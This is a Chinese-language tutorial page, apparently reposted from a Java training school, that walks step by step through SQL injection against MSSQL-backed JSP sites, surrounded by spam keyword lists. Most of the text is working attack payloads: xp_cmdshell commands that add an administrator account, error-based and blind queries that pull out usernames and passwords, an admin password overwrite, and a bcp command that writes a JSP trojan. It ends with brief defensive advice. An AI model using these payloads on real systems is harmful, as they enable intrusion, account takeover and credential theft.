成人性生交大片免费看视频r_亚洲综合极品香蕉久久网_在线视频免费观看一区_亚洲精品亚洲人成人网在线播放_国产精品毛片av_久久久久国产精品www_亚洲国产一区二区三区在线播_日韩一区二区三区四区区区_亚洲精品国产无套在线观_国产免费www

主頁 > 知識庫 > sql注入過程詳解_動力節(jié)點Java學(xué)院整理

sql注入過程詳解_動力節(jié)點Java學(xué)院整理

熱門標(biāo)簽:怎樣在地圖上標(biāo)注路線圖標(biāo) 奧威地圖標(biāo)注多個地方 京華物流公司地圖標(biāo)注 智能語音外呼系統(tǒng)選哪家 優(yōu)質(zhì)地圖標(biāo)注 武漢長沙外呼系統(tǒng)方法和技巧 外呼系統(tǒng)電銷專用 千呼電銷機(jī)器人價格 百度地圖標(biāo)注不同路線

SQL注入攻擊的總體思路是:

1.發(fā)現(xiàn)SQL注入位置;
2.判斷后臺數(shù)據(jù)庫類型;
3.確定XP_CMDSHELL可執(zhí)行情況
4.發(fā)現(xiàn)WEB虛擬目錄
5. 上傳JSP木馬;
6.得到管理員權(quán)限;

一、SQL注入漏洞的判斷

一般來說,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.jsp?id=XX等帶有參數(shù)的jsp或者動態(tài)網(wǎng)頁中,有時一個動態(tài)網(wǎng)頁中可能只有一個參數(shù),有時可能有N個參數(shù),有時是整型參數(shù),有時是字符串型參數(shù),不能一概而論。總之只要是帶有參數(shù)的動態(tài)網(wǎng)頁且此網(wǎng)頁訪問了數(shù)據(jù)庫,那么就有可能存在SQL注入。如果程序員沒有安全意識,不進(jìn)行必要的字符過濾,存在SQL注入的可能性就非常大。
為了全面了解動態(tài)網(wǎng)頁回答的信息,首選請調(diào)整IE的配置。把IE菜單-工具-Internet選項-高級-顯示友好HTTP錯誤信息前面的勾去掉。

為了把問題說明清楚,以下以HTTP://xxx.xxx.xxx/abc.jsp?p=YY為例進(jìn)行分析,YY可能是整型,也有可能是字符串。

1、整型參數(shù)的判斷

當(dāng)輸入的參數(shù)YY為整型時,通常abc.jsp中SQL語句原貌大致如下:
select * from 表名 where 字段=YY,所以可以用以下步驟測試SQL注入是否存在。
①HTTP://xxx.xxx.xxx/abc.jsp?p=YY'(附加一個單引號),此時abc.JSP中的SQL語句變成了
select * from 表名 where 字段=YY',abc.jsp運(yùn)行異常;
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=1, abc.jsp運(yùn)行正常,而且與HTTP://xxx.xxx.xxx/abc.jsp?p=YY運(yùn)行結(jié)果相同;
③HTTP://xxx.xxx.xxx/abc.jsp?p=YY and 1=2, abc.jsp運(yùn)行異常;
如果以上三步全面滿足,abc.jsp中一定存在SQL注入漏洞。

2、特殊情況的處理

有時JSP程序員會在程序員過濾掉單引號等字符,以防止SQL注入。此時可以用以下幾種方法試一試。
①大小定混合法:由于VBS并不區(qū)分大小寫,而程序員在過濾時通常要么全部過濾大寫字符串,要么全部過濾小寫字符串,而大小寫混合往往會被忽視。如用SelecT代替select,SELECT等;
②UNICODE法:在IIS中,以UNICODE字符集實現(xiàn)國際化,我們完全可以IE中輸入的字符串化成UNICODE字符串進(jìn)行輸入。如+ =%2B,空格=%20 等;URLEncode信息參見附件一;
③ASCII碼法:可以把輸入的部分或全部字符全部用ASCII碼代替,如U=chr(85),a=chr(97)等,ASCII信息參見附二;

二、區(qū)分?jǐn)?shù)據(jù)庫服務(wù)器類型

一般來說,mysql是最常用的數(shù)據(jù)庫服務(wù)器,盡管它們都支持T-SQL標(biāo)準(zhǔn),但還有不同之處,而且不同的數(shù)據(jù)庫有不同的攻擊方法,必須要區(qū)別對待。

1、 利用數(shù)據(jù)庫服務(wù)器的系統(tǒng)變量進(jìn)行區(qū)分

SQL-SERVER有user,db_name()等系統(tǒng)變量,利用這些系統(tǒng)值不僅可以判斷SQL-SERVER,而且還可以得到大量有用信息。如:
① HTTP://xxx.xxx.xxx/abc.jsp?p=YY and user>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前連接到數(shù)據(jù)庫的用戶名
②HTTP://xxx.xxx.xxx/abc.jsp?p=YYn ... db_name()>0 不僅可以判斷是否是SQL-SERVER,而還可以得到當(dāng)前正在使用的數(shù)據(jù)庫名;

2、利用系統(tǒng)表

ACCESS的系統(tǒng)表是msysobjects,且在WEB環(huán)境下沒有訪問權(quán)限,而SQL-SERVER的系統(tǒng)表是sysobjects,在WEB環(huán)境下有訪問權(quán)限。對于以下兩條語句:
①HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from sysobjects)>0
②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from msysobjects)>0
若數(shù)據(jù)庫是SQL-SERVE,則第一條,abc.jsp一定運(yùn)行正常,第二條則異常;若是ACCESS則兩條都會異常。

3、 MSSQL三個關(guān)鍵系統(tǒng)表

sysdatabases系統(tǒng)表:Microsoft SQL Server 上的每個數(shù)據(jù)庫在表中占一行。最初安裝 SQL Server 時,sysdatabases 包含 master、model、msdb、mssqlweb 和 tempdb 數(shù)據(jù)庫的項。該表只存儲在 master 數(shù)據(jù)庫中。 這個表保存在master數(shù)據(jù)庫中,這個表中保存的是什么信息呢?這個非常重要。他是 保存了所有的庫名,以及庫的ID和一些相關(guān)信息。 

這里我把對于我們有用的字段名稱和相關(guān)說明給大家列出來。name //表示庫的名字。

dbid //表示庫的ID,dbid從1到5是系統(tǒng)的。分別是:master、model、msdb、mssqlweb、tempdb 這五個庫。用select * from master.dbo.sysdatabases 就可以查詢出所有的庫名。

Sysobjects:SQL-SERVER的每個數(shù)據(jù)庫內(nèi)都有此系統(tǒng)表,它存放該數(shù)據(jù)庫內(nèi)創(chuàng)建的所有對象,如約束、默認(rèn)值、日志、規(guī)則、存儲過程等,每個對象在表中占一行。以下是此系統(tǒng)表的字段名稱和相關(guān)說明。

Name,id,xtype,uid,status:分別是對象名,對象ID,對象類型,所有者對象的用戶ID,對象狀態(tài)。
對象類型(xtype)??梢允窍铝袑ο箢愋椭械囊环N:
C = CHECK 約束 
D = 默認(rèn)值或 DEFAULT 約束 
F = FOREIGN KEY 約束 
L = 日志 
FN = 標(biāo)量函數(shù) 
IF = 內(nèi)嵌表函數(shù) 
P = 存儲過程 
PK = PRIMARY KEY 約束(類型是 K) 
RF = 復(fù)制篩選存儲過程 
S = 系統(tǒng)表 
TF = 表函數(shù) 
TR = 觸發(fā)器 
U = 用戶表 
UQ = UNIQUE 約束(類型是 K) 
V = 視圖 
X = 擴(kuò)展存儲過程 

當(dāng)xtype='U' and status>0代表是用戶建立的表,對象名就是表名,對象ID就是表的ID值。

用: select * from ChouYFD.dbo.sysobjects where xtype='U' and status>0 就可以列出庫ChouYFD中所有的用戶建立的表名。

syscolumns :每個表和視圖中的每列在表中占一行,存儲過程中的每個參數(shù)在表中也占一行。該表位于每個數(shù)據(jù)庫中。主要字段有: name ,id, colid :分別是字段名稱,表ID號,字段ID號,其中的 ID 是 剛上我們用sysobjects得到的表的ID號。
用: select * from ChouYFD.dbo.syscolumns where id=123456789 得到ChouYFD這個庫中,表的ID是123456789中的所有字段列表。

三、確定XP_CMDSHELL可執(zhí)行情況

若當(dāng)前連接數(shù)據(jù)的帳號具有SA權(quán)限,且master.dbo.xp_cmdshell擴(kuò)展存儲過程(調(diào)用此存儲過程可以直接使用操作系統(tǒng)的shell)能夠正確執(zhí)行,則整個計算機(jī)可以通過以下幾種方法完全控制,以后的所有步驟都可以省
1、HTTP://xxx.xxx.xxx/abc.jsp?p=YYnb ... er>0 abc.jsp執(zhí)行異常但可以得到當(dāng)前連接數(shù)據(jù)庫的用戶名(若顯示dbo則代表SA)。
2、HTTP://xxx.xxx.xxx/abc.jsp?p=YY ... me()>0 abc.jsp執(zhí)行異常但可以得到當(dāng)前連接的數(shù)據(jù)庫名。
3、HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exec master..xp_cmdshell “net user aaa bbb /add”-- (master是SQL-SERVER的主數(shù)據(jù)庫;名中的分號表示SQL-SERVER執(zhí)行完分號前的語句名,繼續(xù)執(zhí)行其后面的語句;“—”號是注解,表示其后面的所有內(nèi)容僅為注釋,系統(tǒng)并不執(zhí)行)可以直接增加操作系統(tǒng)帳戶aaa,密碼為bbb。
4、HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exec master..xp_cmdshell “net localgroup administrators aaa /add”-- 把剛剛增加的帳戶aaa加到administrators組中。
5、HTTP://xxx.xxx.xxx/abc.jsp?p=YY;backuup database 數(shù)據(jù)庫名 to disk='c:\inetpub\wwwroot\save.db' 則把得到的數(shù)據(jù)內(nèi)容全部備份到WEB目錄下,再用HTTP把此文件下載(當(dāng)然首選要知道WEB虛擬目錄)。
6、通過復(fù)制CMD創(chuàng)建UNICODE漏洞
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;exe ... dbo.xp_cmdshell “copy c:\winnt\system32\cmd.exe c:\inetpub\scripts\cmd.exe” 便制造了一個UNICODE漏洞,通過此漏洞的利用方法,便完成了對整個計算機(jī)的控制(當(dāng)然首選要知道WEB虛擬目錄)。

四、發(fā)現(xiàn)WEB虛擬目錄

只有找到WEB虛擬目錄,才能確定放置JSP木馬的位置,進(jìn)而得到USER權(quán)限。有兩種方法比較有效。

一是根據(jù)經(jīng)驗猜解,一般來說,WEB虛擬目錄是:c:\inetpub\wwwroot; D:\inetpub\wwwroot; E:\inetpub\wwwroot等,而可執(zhí)行虛擬目錄是:c:\inetpub\scripts; D:\inetpub\scripts; E:\inetpub\scripts等。

二是遍歷系統(tǒng)的目錄結(jié)構(gòu),分析結(jié)果并發(fā)現(xiàn)WEB虛擬目錄;

先創(chuàng)建一個臨時表:temp
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;createn ... mp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--

接下來:

(1)我們可以利用xp_availablemedia來獲得當(dāng)前所有驅(qū)動器,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert temp ... ter.dbo.xp_availablemedia;--
我們可以通過查詢temp的內(nèi)容來獲得驅(qū)動器列表及相關(guān)信息

(2)我們可以利用xp_subdirs獲得子目錄列表,并存入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(i ... dbo.xp_subdirs 'c:\';--

(3)我們還可以利用xp_dirtree獲得所有子目錄的目錄樹結(jié)構(gòu),并寸入temp表中:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 
這樣就可以成功的瀏覽到所有的目錄(文件夾)列表:
如果我們需要查看某個文件的內(nèi)容,可以通過執(zhí)行xp_cmdsell:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec ... nbsp;'type c:\webindex.jsp';--
使用'bulk insert'語法可以將一個文本文件插入到一個臨時表中。如:bulk insert temp(id) from 'c:\inetpubwwwrootindex.jsp' 
瀏覽temp就可以看到index.jsp文件的內(nèi)容了!通過分析各種JSP文件,可以得到大量系統(tǒng)信息,WEB建設(shè)與管理信息,甚至可以得到SA帳號的連接密碼。
當(dāng)然,如果xp_cmshell能夠執(zhí)行,我們可以用它來完成:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)nbs ... cmdshell 'dir c:\';--
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id)n ... p_cmdshell 'dir c:\ *.jsp /s/a';--
通過xp_cmdshell我們可以看到所有想看到的,包括W3svc
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id) exec master.dbo.xp_cmdshe ... ubAdminScriptsadsutil.vbs enum w3svc'
但是,如果不是SA權(quán)限,我們還可以使用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';--

注意:

1、以上每完成一項瀏覽后,應(yīng)刪除TEMP中的所有內(nèi)容,刪除方法是:
HTTP://xxx.xxx.xxx/abc.jsp?p=YY;delete from temp;--
2、瀏覽TEMP表的方法是:(假設(shè)TestDB是當(dāng)前連接的數(shù)據(jù)庫名)
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top ... nbsp;TestDB.dbo.temp )>0 得到表TEMP中第一條記錄id字段的值,并與整數(shù)進(jìn)行比較,顯然abc.jsp工作異常,但在異常中卻可以發(fā)現(xiàn)id字段的值。假設(shè)發(fā)現(xiàn)的表名是xyz,則
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 id from ... ere id not in('xyz'))>0 得到表TEMP中第二條記錄id字段的值。

五、上傳JSP木馬

所謂JSP木馬,就是一段有特殊功能的JSP代碼,并放入WEB虛擬目錄的Scripts下,遠(yuǎn)程客戶通過IE就可執(zhí)行它,進(jìn)而得到系統(tǒng)的USER權(quán)限,實現(xiàn)對系統(tǒng)的初步控制。上傳JSP木馬一般有兩種比較有效的方法:

1、利用WEB的遠(yuǎn)程管理功能

許多WEB站點,為了維護(hù)的方便,都提供了遠(yuǎn)程管理的功能;也有不少WEB站點,其內(nèi)容是對于不同的用戶有不同的訪問權(quán)限。為了達(dá)到對用戶權(quán)限的控制,都有一個網(wǎng)頁,要求用戶名與密碼,只有輸入了正確的值,才能進(jìn)行下一步的操作,可以實現(xiàn)對WEB的管理,如上傳、下載文件,目錄瀏覽、修改配置等。

因此,若獲取正確的用戶名與密碼,不僅可以上傳JSP木馬,有時甚至能夠直接得到USER權(quán)限而瀏覽系統(tǒng),上一步的“發(fā)現(xiàn)WEB虛擬目錄”的復(fù)雜操作都可省略。

用戶名及密碼一般存放在一張表中,發(fā)現(xiàn)這張表并讀取其中內(nèi)容便解決了問題。以下給出兩種有效方法。

A、 注入法:

從理論上說,認(rèn)證網(wǎng)頁中會有型如:
select * from admin where username='XXX' and passWord='YYY' 的語句,若在正式運(yùn)行此句之前,沒有進(jìn)行必要的字符過濾,則很容易實施SQL注入。
如在用戶名文本框內(nèi)輸入:abc' or 1=1-- 在密碼框內(nèi)輸入:123 則SQL語句變成:
select * from admin where username='abc' or 1=1 and password='123' 不管用戶輸入任何用戶名與密碼,此語句永遠(yuǎn)都能正確執(zhí)行,用戶輕易騙過系統(tǒng),獲取合法身份。

B、猜解法:

基本思路是:猜解所有數(shù)據(jù)庫名稱,猜出庫中的每張表名,分析可能是存放用戶名與密碼的表名,猜出表中的每個字段名,猜出表中的每條記錄內(nèi)容。

l 猜解所有數(shù)據(jù)庫名稱

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from master.dbo.sysdatabases where name>1 and dbid=6) >0 因為 dbid 的值從1到5,是系統(tǒng)用了。所以用戶自己建的一定是從6開始的。并且我們提交了 name>1 (name字段是一個字符型的字段和數(shù)字比較會出錯),abc.jsp工作異常,可得到第一個數(shù)據(jù)庫名,同理把DBID分別改成7,8,9,10,11,12…就可得到所有數(shù)據(jù)庫名。
以下假設(shè)得到的數(shù)據(jù)庫名是TestDB。

l 猜解數(shù)據(jù)庫中用戶名表的名稱

猜解法:此方法就是根據(jù)個人的經(jīng)驗猜表名,一般來說,user,users,member,members,userlist,memberlist,userinfo,manager,admin,adminuser,systemuser,systemusers,sysuser,sysusers,sysaccounts,systemaccounts等。并通過語句進(jìn)行判斷
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(*) from TestDB.dbo.表名)>0 若表名存在,則abc.jsp工作正常,否則異常。如此循環(huán),直到猜到系統(tǒng)帳號表的名稱。

讀取法:SQL-SERVER有一個存放系統(tǒng)核心信息的表sysobjects,有關(guān)一個庫的所有表,視圖等信息全部存放在此表中,而且此表可以通過WEB進(jìn)行訪問。 

當(dāng)xtype='U' and status>0代表是用戶建立的表,發(fā)現(xiàn)并分析每一個用戶建立的表及名稱,便可以得到用戶名表的名稱,基本的實現(xiàn)方法是:

①HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 name from TestD ... type='U' and status>0 )>0 得到第一個用戶建立表的名稱,并與整數(shù)進(jìn)行比較,顯然abc.jsp工作異常,但在異常中卻可以發(fā)現(xiàn)表的名稱。假設(shè)發(fā)現(xiàn)的表名是xyz,則

②HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 name from TestDB.dbo.sysobjects ... tatus>0 and name not in('xyz'))>0 可以得到第二個用戶建立的表的名稱,同理就可得到所有用建立的表的名稱。
根據(jù)表的名稱,一般可以認(rèn)定那張表用戶存放用戶名及密碼,以下假設(shè)此表名為Admin。

l 猜解用戶名字段及密碼字段名稱

admin表中一定有一個用戶名字段,也一定有一個密碼字段,只有得到此兩個字段的名稱,才有可能得到此兩字段的內(nèi)容。如何得到它們的名稱呢,同樣有以下兩種方法。

猜解法:此方法就是根據(jù)個人的經(jīng)驗猜字段名,一般來說,用戶名字段的名稱常用:username,name,user,account等。而密碼字段的名稱常用:password,pass,pwd,passwd等。并通過語句進(jìn)行判斷
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select count(字段名) from TestDB.dbo.admin)>0 “select count(字段名) from 表名”語句得到表的行數(shù),所以若字段名存在,則abc.jsp工作正常,否則異常。如此循環(huán),直到猜到兩個字段的名稱。
讀取法:基本的實現(xiàn)方法是
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select ... me(object_id('admin'),1) from TestDB.dbo.sysobjects)>0 。select top 1 col_name(object_id('admin'),1) from TestDB.dbo.sysobjects是從sysobjects得到已知表名的第一個字段名,當(dāng)與整數(shù)進(jìn)行比較,顯然abc.jsp工作異常,但在異常中卻可以發(fā)現(xiàn)字段的名稱。把col_name(object_id('admin'),1)中的1依次換成2,3,4,5,6…就可得到所有的字段名稱。

l 猜解用戶名與密碼

猜用戶名與密碼的內(nèi)容最常用也是最有效的方法有:

ASCII碼逐字解碼法:雖然這種方法速度較慢,但肯定是可行的?;镜乃悸肥窍炔鲁鲎侄蔚拈L度,然后依次猜出每一位的值。猜用戶名與猜密碼的方法相同,以下以猜用戶名為例說明其過程。

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select topn ... nbsp;from TestDB.dbo.admin)=X(X=1,2,3,4,5,… n,username為用戶名字段的名稱,admin為表的名稱),若x為某一值i且abc.jsp運(yùn)行正常時,則i就是第一個用戶名的長度。

如:當(dāng)輸入HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top ... e) from TestDB.dbo.admin)=8時abc.jsp運(yùn)行正常,則第一個用戶名的長度為8

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,m,1)) from TestDB.dbo.admin)=n (m的值在1到上一步得到的用戶名長度之間,當(dāng)m=1,2,3,…時猜測分別猜測第1,2,3,…位的值;n的值是1~9、a~z、A~Z的ASCII值,也就是1~128之間的任意值;admin為系統(tǒng)用戶帳號表的名稱),若n為某一值i且abc.jsp運(yùn)行正常時,則i對應(yīng)ASCII碼就是用戶名某一位值。

如:當(dāng)輸入

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,3,1)) from TestDB.dbo.admin)=80時abc.jsp運(yùn)行正常,則用戶名的第三位為P(P的ASCII為80);

HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (sel ... ascii(substring(username,9,1)) from TestDB.dbo.admin)=33時abc.jsp運(yùn)行正常,則用戶名的第9位為!(!的ASCII為80);

猜到第一個用戶名及密碼后,同理,可以猜出其他所有用戶名與密碼。注意:有時得到的密碼可能是經(jīng)md5等方式加密后的信息,還需要用專用工具進(jìn)行脫密?;蛘呦雀钠涿艽a,使用完后再改回來,見下面說明。

簡單法:

猜用戶名用
HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1 ... o.admin where username>1) , flag是admin表中的一個字段,username是用戶名字段,此時abc.jsp工作異常,但能得到Username的值。與上同樣的方法,可以得到第二用戶名,第三個用戶等等,直到表中的所有用戶名。

猜用戶密碼:HTTP://xxx.xxx.xxx/abc.jsp?p=YY and (select top 1nb ... B.dbo.admin where pwd>1) , flag是admin表中的一個字段,pwd是密碼字段,此時abc.jsp工作異常,但能得到pwd的值。與上同樣的方法,可以得到第二用戶名的密碼,第三個用戶的密碼等等,直到表中的所有用戶的密碼。密碼有時是經(jīng)MD5加密的,可以改密碼。

HTTP://xxx.xxx.xxx/abc.jsp?p=YY;update TestDB.dbo.admin set pwd=' ... where username='www';-- ( 1的MD5值為:AAABBBCCCDDDEEEF,即把密碼改成1;www為已知的用戶名)
用同樣的方法當(dāng)然可把密碼改原來的值。

2、利用表內(nèi)容導(dǎo)成文件功能

SQL有BCP命令,它可以把表的內(nèi)容導(dǎo)成文本文件并放到指定位置。利用這項功能,我們可以先建一張臨時表,然后在表中一行一行地輸入一個JSP木馬,然后用BCP命令導(dǎo)出形成JSP文件。
命令行格式如下:
bcp "select * from text..foo" queryout c:\inetpubwwwrootruncommand.jsp –c –S localhost –U sa –P foobar ('S'參數(shù)為執(zhí)行查詢的服務(wù)器,'U'參數(shù)為用戶名,'P'參數(shù)為密碼,最終上傳了一個runcommand.jsp的木馬)

六、得到系統(tǒng)的管理員權(quán)限

JSP木馬只有USER權(quán)限,要想獲取對系統(tǒng)的完全控制,還要有系統(tǒng)的管理員權(quán)限。怎么辦?提升權(quán)限的方法有很多種:
上傳木馬,修改開機(jī)自動運(yùn)行的.ini文件(它一重啟,便死定了);
復(fù)制CMD.exe到scripts,人為制造UNICODE漏洞;
下載SAM文件,破解并獲取OS的所有用戶名密碼;
等等,視系統(tǒng)的具體情況而定,可以采取不同的方法。

后記

  正如上文所描述的,SQL 漏洞危害非常的巨大,但我相信國內(nèi)很多中小站點還普遍存在著這樣的漏洞。這里有些個人的不完全建議

        1、代碼要對輸入的參數(shù)做到充分的過濾,并盡可能得考慮極端情況
  2、錯誤信息盡可能的少,否則無關(guān)的人看不懂而有心的人就會提起興趣
  3、不要以管理員的身份運(yùn)行服務(wù)器進(jìn)程
  4、某些情況下,net 命令對于攻擊者而言就是“微軟牌”的木馬
  5、嚴(yán)格控制遠(yuǎn)程登錄訪問者的來源
  6、如果可能的情況下,不是很推薦使用 Windows 作為服務(wù)器操作系統(tǒng)

以上就是本文的全部內(nèi)容,希望對大家的學(xué)習(xí)有所幫助,也希望大家多多支持腳本之家。

您可能感興趣的文章:
  • 避免sql注入_動力節(jié)點Java學(xué)院整理
  • Sql注入工具_(dá)動力節(jié)點Java學(xué)院整理
  • Sql注入原理簡介_動力節(jié)點Java學(xué)院整理
  • java持久層框架mybatis防止sql注入的方法
  • java 過濾器filter防sql注入的實現(xiàn)代碼
  • Java面試題解析之判斷以及防止SQL注入

標(biāo)簽:防疫戰(zhàn)設(shè) 來賓 七臺河 威海 益陽 天水 銅仁 宿州

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《sql注入過程詳解_動力節(jié)點Java學(xué)院整理》,本文關(guān)鍵詞  sql,注入,過程,詳解,動力,;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問題,煩請?zhí)峁┫嚓P(guān)信息告之我們,我們將及時溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無關(guān)。
  • 相關(guān)文章
  • 下面列出與本文章《sql注入過程詳解_動力節(jié)點Java學(xué)院整理》相關(guān)的同類信息!
  • 本頁收集關(guān)于sql注入過程詳解_動力節(jié)點Java學(xué)院整理的相關(guān)信息資訊供網(wǎng)民參考!
  • 推薦文章
    四虎wwwcom| 超碰caoporn久久| 人妻少妇一区二区三区| 人与动性xxxxx免费视频| 中文字幕+乱码+中文字幕明步| 青草在线视频在线观看| 99re6在线| а√天堂中文资源在线bt| 日本aⅴ大伊香蕉精品视频| 亚洲一区二区三区av无码| 日本一二三区视频在线| 亚洲一区二区乱码| 日本五码在线| 亚洲免费影视| 成人精品一区二区三区电影免费| 国内在线免费视频| 国产黄色免费大片| 尤物视频网址| 禁久久精品乱码| 色妞色视频一区二区三区四区| 阿v免费在线观看| 特级西西人体wwwww| 成人全视频免费观看在线看| 欧美日韩在线观看一区| 欧美日韩国产欧美日美国产精品| 黄网在线观看网址入口| 国产精品99在线观看| 粉嫩高潮美女一区二区三区| 欧美日韩国产欧美日美国产精品| 北条麻妃在线视频观看| 日本中文字幕在线观看| 日韩免费在线| 国产福利在线播放| 国产伦精品一区二区三区免.费| 尤物一区二区三区| 精品久久国产老人久久综合| 亚洲人成亚洲人成在线观看| 在线免费观看一区二区| 国产精品人人妻人人爽| 在线观看黄网站免费继续| av网站无病毒在线| 亚洲人成网站在线观看播放| 国产成人免费视频一区| 色综合一区二区日本韩国亚洲| 国产黄色一级电影| 精品无码人妻一区二区三| 综合激情丁香| 精品网站在线看| 久久日免费视频| 一级片黄色录像| 亚洲码国产岛国毛片在线| av每日在线更新| 国产麻豆精品入口在线观看| 亚洲不卡在线观看| 午夜视频一区在线观看| 国产 日韩 亚洲 欧美| 亚洲精品日日夜夜| h片在线观看下载| 久操免费在线视频| 久久久久久久久艹| 国产极品国产极品| av今日在线| 久久影院午夜精品| 一级二级三级在线观看| 中国女人内谢69xxxx免费视频| 日韩欧美久久久| 日本中文字幕二区| 国色天香久久精品国产一区| 中文亚洲av片在线观看| 日本高清成人免费播放| 一本色道久久综合无码人妻| 国产麻豆精品一区二区三区v视界| 黄色电影免费在线观看| 国产一区二区三区日韩欧美| 黄色软件视频在线观看| 国产一级做a爰片在线看免费| 亚洲精品一区二区毛豆| 欧美艾v福利视频在线观看| 久久国产精品色| 在线观看av网站永久| 一本到在线视频| 精品中文字幕乱| 久久久久亚洲蜜桃| 成在线人视频免费视频| 亚洲熟妇无码一区二区三区| 成人av网站在线| 欧美综合影院| 欧美一三区三区四区免费在线看| 免费看片91| 天天色天天干天天色| 少妇黄色一级片| 久久aⅴ国产欧美74aaa| 欧美精品videosex| 日本一区视频在线播放| 日韩有码视频在线| 2021久久国产精品不只是精品| 野外性xxxxfreexxxxx欧美| 天堂v视频永久在线播放| 中日韩在线观看视频| 九九热hot精品视频在线播放| 国产露脸国语对白在线| 日本韩国欧美三级| 在线亚洲欧美专区二区| 激情偷拍久久| 成人h动漫精品一区二区| 亚洲乱码一区| 狠狠色噜噜狠狠狠狠黑人| 国产精品免费无码| 一级黄色录像毛片| 亚洲国产精品嫩草影院| 中文一区一区三区高中清不卡免费| 二区三区偷拍浴室洗澡视频| 可以免费观看的毛片| 999精品在线观看| 日本网站在线看| www.久久| 国产精品免费精品一区| 性少妇videosexfreexxx片| 久久综合亚州| 91黄色小网站| 亚洲а∨精品天堂在线| 欧美又粗又长又爽做受| 美女福利精品视频| 欧美日韩中文字幕在线| jizz亚洲大全| av大片免费看| 久久国产一区二区三区| 狠狠色狠狠色综合日日tαg| 污污网站在线观看视频| 欧美一级淫片免费视频| 美女任你摸久久| 国产白浆在线观看| 蜜臀精品久久久久久蜜臀| 4k岛国日韩精品**专区| 国产二区三区四区| 国产无精乱码一区二区三区| 欧美日韩免费观看一区| 美脚恋feet久草欧美| 久久亚洲精品伦理| 91精品久久久久久久91蜜桃| 91精品在线免费视频| 精品福利一区二区三区| 高清亚洲成在人网站天堂| 97av免费视频| 国产又爽又黄免费视频| 久久久久久久香蕉网| 久久精品国产第一区二区三区| 日韩**中文字幕毛片| 亚洲精品自拍网| 99re视频在线播放| 亚洲熟妇无码一区二区三区导航| 在线精品国产| 成人欧美精品久久久久影院| 国产91精品最新在线播放| 成人中文视频| 91色视频在线| 中文字幕日本精品| 国产精品xvideos88| jizz免费| 六十路精品视频| 久久精品国产99国产精品澳门| 91网站黄www| 欧美成人3dxxxx| 91网站视频在线观看| 国产区二区三区| 第84页国产精品| 精品一区二区免费在线观看| 精品人妻一区二区三区麻豆91| 国内精品视频一区二区三区八戒| 五月天色婷婷综合| 丰满少妇乱子伦精品看片| 成人免费看片视频| 日日摸日日添日日躁av| 91精品在线免费视频| 亚洲高清久久网| 欧美三级中文字幕| 日韩av片在线播放| 国产传媒欧美日韩成人| 欧美剧在线观看| 亚洲人妖av一区二区| 9色在线视频网站| 中文字幕日韩在线播放| 欧美精品入口| 亚洲免费福利视频| 嫩草影院一区二区| 亚洲男人都懂的| 超薄肉色丝袜一二三| 中文字幕人成高清视频| 国产精品伦理一区二区| 精品国产三区在线| 色婷婷一区二区三区四区| 99热6这里只有精品| 国产一线二线在线观看| 99精品久久久久久中文字幕| 亚洲永久一区二区三区在线| 户外极限露出调教在线视频| 中文字幕一区日韩精品| 日韩中文字幕第一页| 欧美日韩中文一区二区| 成人免费视频一区| 免费看av大片| 久久久久人妻精品一区三寸| 国产 日韩 欧美在线| 影音先锋男人看片资源| 欧美+亚洲+精品+三区| 日韩久久久久久久| 极品白嫩丰满美女无套| av免费在线网站| 激情国产一区| 欧美美女直播网站| 丰满岳乱妇dvd日本| 欧美一级艳片视频免费观看| 成人激情视频网| 麻豆国产va免费精品高清在线| 日韩毛片一区二区三区| jzzjzzjzz亚洲成熟少妇| 国产精品在线看| 国产亚洲欧美日韩高清| 欧美精品1区2区3区| 91杏吧porn蝌蚪| 日日摸日日添日日躁av| 情趣网站在线观看| 中文在线三区| 一区三区二区视频| 最新日本中文字幕| 亚洲一级一区| 精品亚洲一区二区三区在线观看| 国产精品视屏| 久久精品www| 日本1级在线| 最新黄色av网址| 免费动漫网站在线观看| 国产成人久久777777| 亚洲成人1区2区| 国产成人激情av| 狠狠噜噜久久| 国产精品偷伦视频免费观看了| 欧美午夜黄色| 日日夜夜亚洲精品| 91成人app| 国产成人精品一区二区三区视频| 欧美videos极品另类| 二区三区不卡| 91成人精品网站| 中文高清一区| 亚洲激情在线观看| 中文字幕乱妇无码av在线| 亚洲av成人精品日韩在线播放| 91久久久精品| 成人三级在线| 伦一区二区三区中文字幕v亚洲| 欧美大片高清| 91久久线看在观草草青青| 国产极品精品在线观看| 